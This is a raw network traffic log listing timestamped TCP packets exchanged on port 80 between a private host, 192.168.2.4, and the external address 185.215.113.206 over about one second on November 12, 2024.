Nov 12, 2024 15:41:20.090148926 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090150118 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090161085 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090169907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090173960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090173960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090179920 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090193033 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090200901 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090217113 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090226889 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090228081 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090234995 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090244055 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090250015 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090255022 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090262890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090265036 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090276003 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090285063 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090291977 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090293884 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090300083 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090303898 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090315104 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090323925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090327024 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090332985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090333939 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090344906 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090362072 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090368986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090396881 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090449095 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090485096 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090631008 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090641975 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090651035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090661049 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090662003 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090671062 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090672016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090682030 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090689898 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090692043 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090702057 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090712070 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090713978 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090723038 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090729952 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090734005 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090744972 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090751886 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090770006 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090770960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090786934 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090787888 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090797901 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090800047 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090807915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090816021 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090822935 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090822935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090843916 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090850115 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090857983 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090867043 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090876102 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090887070 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090894938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090895891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090895891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090905905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090905905 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090914965 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.090928078 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.090953112 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091219902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091229916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091238022 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091247082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091258049 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091270924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091272116 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091284037 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091295004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091295004 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091295004 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091305971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091320038 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091322899 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091324091 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091331959 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091341972 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091344118 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091350079 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091351032 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091356993 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091362000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091372967 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091382980 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091383934 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091398954 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091408968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091409922 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091418028 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091422081 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091433048 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091443062 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091445923 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091454029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091464043 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091465950 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091475010 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091485977 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091486931 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091486931 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091499090 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091511011 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091531992 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091588020 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091625929 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091701984 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091713905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091722965 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091732979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091734886 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091742992 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091746092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091756105 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091763973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091767073 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091773987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091780901 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091784000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091794968 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091801882 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091804981 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.091824055 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.091842890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092003107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092015982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092026949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092036009 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092036009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092047930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092057943 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092061043 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092072010 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092081070 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092084885 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092092991 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092093945 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092103004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092113018 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092120886 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092120886 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092137098 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092143059 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092147112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092155933 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092159986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092171907 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092184067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092202902 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.092211008 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.092247963 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.129748106 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.134676933 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.413975954 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.413992882 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414009094 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414019108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414031982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414033890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414056063 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414077044 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414088011 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414093018 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414104939 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414128065 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414135933 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414174080 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414180994 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414192915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414203882 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414216995 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414217949 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414225101 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414232016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.414239883 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414256096 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.414262056 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415141106 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415182114 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415195942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415208101 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415230989 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415242910 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415328026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415338039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415348053 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415361881 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415378094 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415401936 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415493965 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415503979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415513039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415522099 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415533066 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415534973 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415544987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415555000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415560007 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415570974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415580034 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415582895 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415590048 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415596962 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415608883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415626049 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415631056 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415638924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415652990 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415659904 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415659904 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415690899 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415872097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415883064 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415899038 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415904045 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415904045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415905952 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415906906 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415913105 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415923119 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415929079 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415935040 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415944099 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415950060 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415955067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415965080 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415975094 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415976048 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415987015 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.415997028 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.415997028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416003942 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416014910 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416033983 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416055918 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416088104 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416126966 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416178942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416189909 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416198969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416209936 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416225910 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416243076 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416299105 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416311026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416320086 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416332960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416332960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416341066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416346073 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416356087 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416366100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416366100 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416366100 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416383982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416404963 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416435957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416446924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416460991 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416475058 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416493893 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416604042 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416615009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416623116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416632891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416642904 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416646957 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416654110 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416665077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416672945 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416675091 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416680098 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416686058 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416697025 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416702986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416707039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416718006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416718960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416742086 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416759968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416901112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416912079 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416920900 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416930914 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416939020 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416940928 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416955948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416960001 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416966915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416980982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.416986942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.416997910 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417006016 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417011976 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417016029 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417022943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417031050 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417032957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417045116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417049885 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417056084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417067051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417074919 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417076111 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417085886 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417085886 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417112112 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417128086 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417335987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417341948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417357922 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417371035 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417375088 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417382002 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417392969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417397022 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417397022 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417403936 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417414904 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417422056 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417443037 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417757988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417787075 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417797089 CET	80	49751	185.215.113.206	192.168.2.4
